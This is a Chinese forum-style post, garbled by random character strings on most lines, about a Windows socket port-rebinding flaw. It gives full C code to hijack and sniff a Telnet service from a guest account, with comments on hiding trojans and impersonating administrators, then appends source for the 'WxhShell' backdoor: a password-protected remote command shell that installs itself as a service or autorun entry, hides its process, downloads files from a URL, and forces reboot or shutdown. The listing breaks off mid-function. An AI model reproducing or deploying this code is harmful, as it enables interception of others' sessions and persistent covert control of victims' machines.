在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
DD" $1o" s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
~~/xRs QL6C,#6 saddr.sin_family = AF_INET;
Kp+CH7I* Rqwzh@} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
,q(&)L$S bjAnaya bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
ThPE
0V >!_Xgw 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
< >UPD02
h:lt<y 这意味着什么?意味着可以进行如下的攻击:
]Jh+'RK\# 1ygpp0IGJ 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
1c JF/"v iU6Gp-<M, 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
UhIDRR ih?^t(i 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
s1|/S\ q+B&orp 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
!`!| Zw ~Lc066bLeq 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
cA6lge<{~ XeBP`\>Ve 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
.>z][2oz 9qS"uj 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
uKgZ$-' XZw6Xtn #include
4&/j|9=X #include
]|<w\\^A #include
Xl@cHO=i #include
WyP W* DWORD WINAPI ClientThread(LPVOID lpParam);
f|u#2!7 int main()
&3J@BMYp {
]*7Y~dO WORD wVersionRequested;
EUsI%p DWORD ret;
oK{ V7 WSADATA wsaData;
UT}i0I9 BOOL val;
1-RIN}CSd SOCKADDR_IN saddr;
Kscd}f)yx? SOCKADDR_IN scaddr;
EGl^!.' int err;
"UwH\T4I SOCKET s;
lO2[JP SOCKET sc;
sB69R:U; int caddsize;
h*u`X>!! HANDLE mt;
iAa;6mH DWORD tid;
"`6n6r42 wVersionRequested = MAKEWORD( 2, 2 );
(H+'X}1
err = WSAStartup( wVersionRequested, &wsaData );
Zo>]rKeV if ( err != 0 ) {
A.UUW printf("error!WSAStartup failed!\n");
{BHI1Uw return -1;
pRSOYTebP }
t4?DpE saddr.sin_family = AF_INET;
ktDC/8 Vf(6!iRP@ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Wu)>U R *F l8
saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
XD"_Iq! saddr.sin_port = htons(23);
A)ipFB
6K if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
u.rY#cS,-R {
wf1lyS printf("error!socket failed!\n");
|p$spQ return -1;
ePIiF_X }
_=|vgc val = TRUE;
l7De6A" //SO_REUSEADDR选项就是可以实现端口重绑定的
Fd*8N8Pi if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
:x_'i_w {
TIvRhbu printf("error!setsockopt failed!\n");
'mV9 {lj7E return -1;
If%/3UJ@ }
Z4IgBn(Z_} //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'=P7""mN5 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
%,ngRYxT# //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
Le%ZV%, wj[$9UJb if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
0Ia($.1mY {
q\H[am ret=GetLastError();
iX3HtIBj' printf("error!bind failed!\n");
N>>uCkC return -1;
?)e37 }
%c[ V listen(s,2);
#pcP! while(1)
:T9<der, {
%u;~kP|S% caddsize = sizeof(scaddr);
z2Z^~,i //接受连接请求
7=(Hy\Q5xH sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
U4G`ZKv(! if(sc!=INVALID_SOCKET)
qY[xpm {
LY-2sa#B$- mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
? R>h ` if(mt==NULL)
fU!<HDh {
9uWY@zu printf("Thread Creat Failed!\n");
/> 4"~q) break;
"O(9 m.CZ }
}pJwj }
P (S>=,Y& CloseHandle(mt);
YtO|D }
H*9~yT'Q closesocket(s);
@Vu(XG WSACleanup();
MX+Z ? return 0;
|\n_OS7 }
N<DGw?Rl DWORD WINAPI ClientThread(LPVOID lpParam)
\(%Y%?dy {
'? jlH0; SOCKET ss = (SOCKET)lpParam;
jMpD+Mb SOCKET sc;
0>zbCubPH unsigned char buf[4096];
H'HSD,>( SOCKADDR_IN saddr;
U#U]Pt long num;
SB)5@
nmS DWORD val;
^i:B+
rl DWORD ret;
hdVdcnM //如果是隐藏端口应用的话,可以在此处加一些判断
(dv]=5"" //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
a5w:u5 saddr.sin_family = AF_INET;
'MY/*k7: saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
H8"@iE, saddr.sin_port = htons(23);
f47M#UC if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
zhf.NCSt( {
O eL}EVs8= printf("error!socket failed!\n");
Bm]8m=p return -1;
wg w(YU }
'R_g">B. val = 100;
4Fm90O if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
NB<A>baL* {
T*KMksjxm` ret = GetLastError();
7k8 pZ return -1;
JY6
Qp }
XU"~h64] if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
{GJ@psG* {
k?'B*L_Mzv ret = GetLastError();
?Ae ven return -1;
u7=U^}# }
[}&Sxgv if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
>KJ+-QuO& {
) Yd?m0m* printf("error!socket connect failed!\n");
r\/+Oa' closesocket(sc);
M|Rb&6O closesocket(ss);
F+u|HiYG return -1;
,{c?ym w? }
>;[*!<pfK5 while(1)
Phke`3tth {
@*sWu_-Y% //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
=%/)m:f!^ //如果是嗅探内容的话,可以再此处进行内容分析和记录
YIjTL!bA" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
nvPwngEQm num = recv(ss,buf,4096,0);
q`r**N+zn if(num>0)
f&
CBU send(sc,buf,num,0);
8w.YYo8` else if(num==0)
RU\/j%^ break;
=AuR:Tx num = recv(sc,buf,4096,0);
s;A@*Y;v if(num>0)
cb}[S:&| send(ss,buf,num,0);
uS^Ipxe\ else if(num==0)
ow]053:i break;
MNV%
=G }
Gh}*q|Lz closesocket(ss);
ukUGvK closesocket(sc);
mWvl38 return 0 ;
Q 7?#=N? }
Bs?^2T~%{ {E8~Z8tT d N$Tf ==========================================================
R47\Y 15sp|$&` 下边附上一个代码,,WXhSHELL
/~<@ *-' |)*fRL, ==========================================================
cMOyo<F#^= LSRk7'0 #include "stdafx.h"
o !U
6? }B1!gz$YNO #include <stdio.h>
j}C}:\-fY #include <string.h>
Ct>GYk$ #include <windows.h>
UNBH #include <winsock2.h>
mrjswF27$o #include <winsvc.h>
V=*wKuB #include <urlmon.h>
_D+J!f^ X93!bB #pragma comment (lib, "Ws2_32.lib")
r!
MWbFw|X #pragma comment (lib, "urlmon.lib")
N}t
2Nu- pS7w' H #define MAX_USER 100 // 最大客户端连接数
Bf8jPa/ #define BUF_SOCK 200 // sock buffer
v%iflCK #define KEY_BUFF 255 // 输入 buffer
\:UIc*S @qYp>|AF #define REBOOT 0 // 重启
Uw7h=UQh #define SHUTDOWN 1 // 关机
~
(jKz}'~U MpR2]k#n< #define DEF_PORT 5000 // 监听端口
HKUn`ng b"{'T]"*j #define REG_LEN 16 // 注册表键长度
N=7pK&NHSG #define SVC_LEN 80 // NT服务名长度
k-^mIJo} 5f 5f0|ok // 从dll定义API
:w^Ed%>y7 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
,JQp'e typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
]'=)2
.} typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
W}mn}gTQ typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
>: g3k R)m'lMi| // wxhshell配置信息
\r+8qC[, struct WSCFG {
+O?KNZ int ws_port; // 监听端口
7](KV" %V char ws_passstr[REG_LEN]; // 口令
Xx>X5Fy int ws_autoins; // 安装标记, 1=yes 0=no
OL^l 3F char ws_regname[REG_LEN]; // 注册表键名
,]d/Q< char ws_svcname[REG_LEN]; // 服务名
@W"KVPd char ws_svcdisp[SVC_LEN]; // 服务显示名
z+n,uHs char ws_svcdesc[SVC_LEN]; // 服务描述信息
Jh!I:;/ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
)`(p9@,V int ws_downexe; // 下载执行标记, 1=yes 0=no
#$8% w char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
",KCCis char ws_filenam[SVC_LEN]; // 下载后保存的文件名
@y\XR i=oU;7~zK };
5lUF7:A># %#xaA'?
[ // default Wxhshell configuration
2$ze=
/ l struct WSCFG wscfg={DEF_PORT,
b?lD(fa& "xuhuanlingzhe",
=h5H~G5AT 1,
]z/8KL "Wxhshell",
oV|4V:G q "Wxhshell",
Tq[kl'_ "WxhShell Service",
0i\M,TNf* "Wrsky Windows CmdShell Service",
-^hWM}F "Please Input Your Password: ",
EZ`te0[ 1,
BdH-9n~, "
http://www.wrsky.com/wxhshell.exe",
3!|;iJRH "Wxhshell.exe"
ud'-;W };
?q{,R" LQRQA[^ // 消息定义模块
F7EKoDt char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
[R^iF char *msg_ws_prompt="\n\r? for help\n\r#>";
Ay0U=#XP char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
2$g6}A`r char *msg_ws_ext="\n\rExit.";
>8#X;0\Kj char *msg_ws_end="\n\rQuit.";
SPY|K char *msg_ws_boot="\n\rReboot...";
Ssou char *msg_ws_poff="\n\rShutdown...";
dQA'($ char *msg_ws_down="\n\rSave to ";
9CWezI+ +b3RkkC char *msg_ws_err="\n\rErr!";
1e{IC= char *msg_ws_ok="\n\rOK!";
,NyY>~+ Gsq00j
&<Z char ExeFile[MAX_PATH];
2Ay*kmW int nUser = 0;
tnN.:%mZ HANDLE handles[MAX_USER];
nz=GlO'[ int OsIsNt;
q(.sq12<<W 3 09hn SERVICE_STATUS serviceStatus;
I%j|D#qY:T SERVICE_STATUS_HANDLE hServiceStatusHandle;
PIoLywpRn Vy Xhl; // 函数声明
fY51:0{ int Install(void);
&;[Io int Uninstall(void);
gv-xm int DownloadFile(char *sURL, SOCKET wsh);
%4,O 2\0?& int Boot(int flag);
pm
9"4 z void HideProc(void);
F`XP@Xx int GetOsVer(void);
9CWF{" int Wxhshell(SOCKET wsl);
zck#tht4
n void TalkWithClient(void *cs);
CR"|^{G int CmdShell(SOCKET sock);
d\|?-hY`[ int StartFromService(void);
JP!~,mdS int StartWxhshell(LPSTR lpCmdLine);
R6kD=JY/! r") `Ph@yp VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
"!ug_'VW VOID WINAPI NTServiceHandler( DWORD fdwControl );
[6%VRqY ^cP!\E-^ // 数据结构和表定义
;Q OBBF3HG SERVICE_TABLE_ENTRY DispatchTable[] =
9.gXzPH {
-$cmG4 {wscfg.ws_svcname, NTServiceMain},
=JK@z {NULL, NULL}
g9}DnCT*. };
/_AnP 4C61GB?Vy // 自我安装
IoQEtA int Install(void)
z<U-#k7nz {
ORHp$Un~) char svExeFile[MAX_PATH];
ff,pvk8N5 HKEY key;
v1+3}5b'uF strcpy(svExeFile,ExeFile);
wsZF;8u t >~[c|ffyo/ // 如果是win9x系统,修改注册表设为自启动
H8Bs<2 if(!OsIsNt) {
`>f6)C- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
s%nUaWp~ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
%et }A93 RegCloseKey(key);
.oYl-.E>& if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
:8=i kwQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
&_dt>. RegCloseKey(key);
{JZZZY!n2 return 0;
aeFe!`F }
6}[I2F_^ }
:cem,#(= }
cu7hBfj else {
AN8`7F1 "d#Y}@*~o // 如果是NT以上系统,安装为系统服务
lT(WD}OS SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
V@e?#iz if (schSCManager!=0)
LrM=*Rh,O {
7~^GA.92 SC_HANDLE schService = CreateService
oTU!R , (
jnK WZ/R schSCManager,
y&q*maa[ wscfg.ws_svcname,
42{Ew8 wscfg.ws_svcdisp,
m ZtCL SERVICE_ALL_ACCESS,
#%iDT6 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
eL10Q(;P` SERVICE_AUTO_START,
3G,Oba[$< SERVICE_ERROR_NORMAL,
0%&1\rm+j svExeFile,
@5=oeOg36 NULL,
d6}r#\ NULL,
D0&,? NULL,
Z0x ar]4V NULL,
fi-WZ NULL
*}F3M\ );
b~KDP+Ri if (schService!=0)
Q]Y*K {
q0i(i.h CloseServiceHandle(schService);
8Wrh]egu1 CloseServiceHandle(schSCManager);
!;&p"E|b# strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
R]}}$R`j strcat(svExeFile,wscfg.ws_svcname);
]i&6c if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
.zA^)qgL RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
twL3\
}N/B RegCloseKey(key);
<k eVrCR return 0;
nhB1D- }
gp};D }
8;b(0^ CloseServiceHandle(schSCManager);
m,*QP* }
\\PjKAsh }
$UMFNjL
Ygm`ZA y return 1;
eJF5n# }
8p^bD}lN7 >:A ARx% // 自我卸载
XX7{-Yy int Uninstall(void)
{@H6HqD {
yzbx . HKEY key;
CJ/X}hi, x5,++7Tz if(!OsIsNt) {
9_# >aOqL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
7`-Zuf RegDeleteValue(key,wscfg.ws_regname);
J`peX0Stl RegCloseKey(key);
3 R=,1< if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
`YFtL RegDeleteValue(key,wscfg.ws_regname);
4x{0iav RegCloseKey(key);
~bM4[*Q7 return 0;
oRm L
{UDZ }
0LPig[ }
3QV *% }
nHnK)9\ N else {
$:=A'd2 ciFmaM. SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
q!{y&.&\ if (schSCManager!=0)
35Ij
..z0 {
54gBJEhg SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
1Ce@*XBU if (schService!=0)
yQ_B)b {
r54&XE]O if(DeleteService(schService)!=0) {
!POl;%\ CloseServiceHandle(schService);
Buf/@B7+\ CloseServiceHandle(schSCManager);
RY]#<9>M return 0;
`>7;! }
}6p@lla,%] CloseServiceHandle(schService);
PXK7b2fE. }
6_J$UBT CloseServiceHandle(schSCManager);
^Ew]uN>, }
8UXjm_B^' }
@)UZ@ ~R ^ssK return 1;
lW+\j3?Z$ }
:}Xll#.,m j| v%)A // 从指定url下载文件
:=}US}H$ int DownloadFile(char *sURL, SOCKET wsh)
`>gd&u {
K$&s=Hm HRESULT hr;
~x A-V4. char seps[]= "/";
o9|nJ; char *token;
X^T:8npxt char *file;
(X $=Q6 char myURL[MAX_PATH];
%zA;+s$l char myFILE[MAX_PATH];
q
0$,*[PH 2QD3&Q9 strcpy(myURL,sURL);
9i'jjN token=strtok(myURL,seps);
zjJ *n8l while(token!=NULL)
9E
zj" {
j5K]CTz# file=token;
Hc!
mB token=strtok(NULL,seps);
B( ]M& }
i'a?kSy .\[`B.Q GetCurrentDirectory(MAX_PATH,myFILE);
xAqb\|$^ strcat(myFILE, "\\");
YNLV9.P6 strcat(myFILE, file);
un)4eo!7 send(wsh,myFILE,strlen(myFILE),0);
M}`B{]lLz send(wsh,"...",3,0);
98j>1"8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
~T ]m>A! if(hr==S_OK)
88VZR&v return 0;
t#Z-mv:( else
{v=T [D return 1;
1%EBd%`# xe#FUS
3 }
yyoqX"v[ nc~F_i= // 系统电源模块
s:OFVlC%\ int Boot(int flag)
1/RsptN"v {
5A%w 8Qv HANDLE hToken;
b1^vd@(lx TOKEN_PRIVILEGES tkp;
Ozw;(fDaU t`WB;o! if(OsIsNt) {
NhfJ30~ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
rx $mk LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
r#+d&.| tkp.PrivilegeCount = 1;
zAK+8{, tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
{!.(7wV\ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
1QqYQafA if(flag==REBOOT) {
8B7cBkl: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
+vYoB$! return 0;
e&simX;W }
*v;!-F&8> else {
c]$i\i# if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Fgk ajig return 0;
[OjF[1I)u }
?5U2D%t }
+EFgE1w else {
g'pK if(flag==REBOOT) {
+1Vjw'P if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
CAWA3fcQp return 0;
iocI:b< }
+!k&Yje else {
H9KKed47d/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
N8!cO[3Oh return 0;
{s)+R[?m<o }
q`|LRz&al }
x9$` W _.>QEh5"5 return 1;
2{]`W57_= }
aiQ>xen5C5 YCdS!&^UN // win9x进程隐藏模块
!zuxz void HideProc(void)
K)-U1JE7 {
ln$&``L 6,"IDH|ND HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
=CK4.
if ( hKernel != NULL )
5j:0Yt {
4,..kSA3iw pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
~u)}ScTp ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
@xQgY*f# FreeLibrary(hKernel);
*n;!G8\ }
AcS|c:3MUy O>qll6]{@ return;
`D>S;[~S7 }
~Cl){8o #OBJzf*p // 获取操作系统版本
6S\C}U/ int GetOsVer(void)
V7GRA#| {
flk=>h| OSVERSIONINFO winfo;
rJPb 3F winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
K2he4< GetVersionEx(&winfo);
6^%UU
o% if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
LL] zT H0 return 1;
qgE 73.!`6 else
wDcj,:h` return 0;
vK 7^*qr;j }
HqI t74+ hD\rtW // 客户端句柄模块
2GFLnz int Wxhshell(SOCKET wsl)
pR
`>b 3 {
6Ca(U' SOCKET wsh;
C2@,BCR struct sockaddr_in client;
^sa#8^,K DWORD myID;
7P"| J\ c#a@n 4 while(nUser<MAX_USER)
anIAM {
E8>Rui@9 int nSize=sizeof(client);
6726ac{xz wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
cS>e? if(wsh==INVALID_SOCKET) return 1;
^9^WuSq &@%W29: handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
UH]l9Aq$P if(handles[nUser]==0)
9!T[Z/}T closesocket(wsh);
*j]9vktH else
X'%E\/~u nUser++;
NxjB/N
}
e&7JpT WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
k9)jjR*XxG %T X@I$Ba return 0;
J%x6 }
/3A^I{e74
HkQ*y$$ // 关闭 socket
W`K7 QWV4 void CloseIt(SOCKET wsh)
;epV<{e$q4 {
tYZ[68 closesocket(wsh);
}Mo=PWI1? nUser--;
@|<<H3I ExitThread(0);
:{qv~&+C }
~vs}.kb ^
s1Q*He // 客户端请求句柄
TftHwe):V void TalkWithClient(void *cs)
L~(_x"uXd {
Ae69>bkE0 r;>*_Oc7g SOCKET wsh=(SOCKET)cs;
$}lbT15a char pwd[SVC_LEN];
t>1Z\lE\" char cmd[KEY_BUFF];
XD |E=s char chr[1];
x;-.
ZVF int i,j;
?g?L3vRK )\sc83L while (nUser < MAX_USER) {
hy}8Aji& kjEEuEv if(wscfg.ws_passstr) {
5nv<^>[J if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
{S,l_d+( //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
.7i` (F) //ZeroMemory(pwd,KEY_BUFF);
Uu!f,L;ty i=0;
T6H}/#*tK while(i<SVC_LEN) {
MxSM@3 v( )ap_Z6 // 设置超时
+
` s@ fd_set FdRead;
#?q&r_@@ struct timeval TimeOut;
j;s"q]"x] FD_ZERO(&FdRead);
!6s"]WvF FD_SET(wsh,&FdRead);
1&^MfP} TimeOut.tv_sec=8;
d@ Y}SWTB TimeOut.tv_usec=0;
]04e1F1J int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
QA2borfy if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
j{Hao\F8 oo.! .Kv if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
_cy2z pwd
=chr[0]; ,Vh.T&X5
if(chr[0]==0xd || chr[0]==0xa) { .uyGYj-C
pwd=0; ZQ)>s>-
break; Yu?95qk tP
} <,3^|$c%
i++; %6L^2
X
} b8LoIY*
fQL"O}Z
// 如果是非法用户,关闭 socket g0>,%b
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~n[xtWO0
} ox:[f9.5
Vm(1G8 a
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); GDu~d<R H
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5WC+guK7
[|P!{?A43|
while(1) { A;/-u<f
vw>2(K=e1
ZeroMemory(cmd,KEY_BUFF); '|S%aMLZ)
w=j
// 自动支持客户端 telnet标准 Np'2}6P
j=0; *c%oN
|
while(j<KEY_BUFF) { o&`<+4
i
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); U>V&-kxtV
cmd[j]=chr[0]; >=UF-xk;
if(chr[0]==0xa || chr[0]==0xd) { w=LP"bqlI
cmd[j]=0; _^el\
break; 0$7s^?G0
} COTp
j++; 8<.C3m
6h
} F;gx%[$GX
JNkwEZhHyg
// 下载文件 vhsk0$f
if(strstr(cmd,"http://")) { A81ls#is
send(wsh,msg_ws_down,strlen(msg_ws_down),0); U+)xu>I
if(DownloadFile(cmd,wsh)) 3dht!7/
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _<a7CCg
else e=4+$d
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oI}kH=<,
} DA2}{
else { UilMv~0
R,9[hNHWGs
switch(cmd[0]) { Row)hx8
S+'rG+NJ
// 帮助 SfJ./ny
case '?': { }?z@rt^
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0Z0:,!
break; qZ}P*+`Q
} deM7fN4lTi
// 安装 v2H#=E4cZ#
case 'i': { TF 'U
if(Install()) <$ F\Nk|x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); KN tt
else cx}Q2S
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $/=nU*pd
break; 4m*M,# mV
} GN!qyT
// 卸载 F)+{AQL
case 'r': { d}JP!xf%
if(Uninstall()) 6KVnnK
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /ODXV`3QYI
else mp9{m`Jb*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); G:pEE:W[
break; U$
F{nZ1
} '@jXbN
// 显示 wxhshell 所在路径 +hE(Ra#
case 'p': { hSFn8mpXT
char svExeFile[MAX_PATH]; ax{ ;:fW
strcpy(svExeFile,"\n\r"); Y$Q|J4z
strcat(svExeFile,ExeFile); cs1l~bl
send(wsh,svExeFile,strlen(svExeFile),0); 6ezS {Q
break; Tszp3,]f
} 34wkzu
// 重启 {dL?rQ>5L
case 'b': { 94 e):
jS
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;x:rZV/
if(Boot(REBOOT)) ;=<-5;rI
send(wsh,msg_ws_err,strlen(msg_ws_err),0); [@Q_(LQ-U
else { -
/(s#D
closesocket(wsh); /v/C<]
ExitThread(0); H"C[&r
} {}QB|IH`
break; -S$1Yn
} 8me ]JRw
// 关机 $&<uT
case 'd': { m=:4`_0Q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e|&6$A>4]
if(Boot(SHUTDOWN)) `5~ +,/Ys
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $2M#qkik-
else { [74F6Qp
closesocket(wsh); H(Q.a=&4!p
ExitThread(0); 7<jZ`qdq_
} Pfm_@'8
break; ^Ve<>b
} esHQoIhd
// 获取shell 0TmR/uUT
case 's': { 5Q 'i2*j
CmdShell(wsh); >[Ye
closesocket(wsh); &BtK($
ExitThread(0); N.4q.
break; 549jWG
} ?Q-h n:F)
// 退出 mk3_
case 'x': { /;tPNp{!dw
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); NM0tp )h
CloseIt(wsh); ZxlAk+<]
break; aB]m*~
} <)\y#N
// 离开 7lS#f1E
case 'q': { p/2jh&
send(wsh,msg_ws_end,strlen(msg_ws_end),0); {@<J_A
closesocket(wsh); &f7fK|}
WSACleanup(); V\})3i8
exit(1); 0]D{Va
break; bJYda)
} P ~#>H{
} w,O,W[C
} %0$qP0|`3I
l3Lyea:
// 提示信息 S a4W`
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kN%MP6? J
} &AlJ "N|
} ?7M.o
*loOiM\5a
return; -F=v6N {
} 6<'rG''
"Tm[t?FMbe
// shell模块句柄 ,^gyH
\
int CmdShell(SOCKET sock) R |f~>JUF
{ qim
'dp:
STARTUPINFO si; M\Gdn92pd
ZeroMemory(&si,sizeof(si)); k{V E1@
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?6nF~9Z'
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; y$3;$ R^
PROCESS_INFORMATION ProcessInfo; $5v0m#[^
char cmdline[]="cmd"; aA'|Rg,
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Oky**B[D'
return 0; FSRm|
} $''9K
P_c,BlfGMH
// 自身启动模式 7},)]da>,'
int StartFromService(void) w=|GJ0
{ *=fr8
typedef struct 2DB7+aZ*
{ :5/Uh/sX
DWORD ExitStatus; 2 o#,kGd
DWORD PebBaseAddress; 4O:W#bx
DWORD AffinityMask; |A%<Z(
DWORD BasePriority; :QWq"cBem
ULONG UniqueProcessId; J*l4|^i<
ULONG InheritedFromUniqueProcessId; oQv3GpO
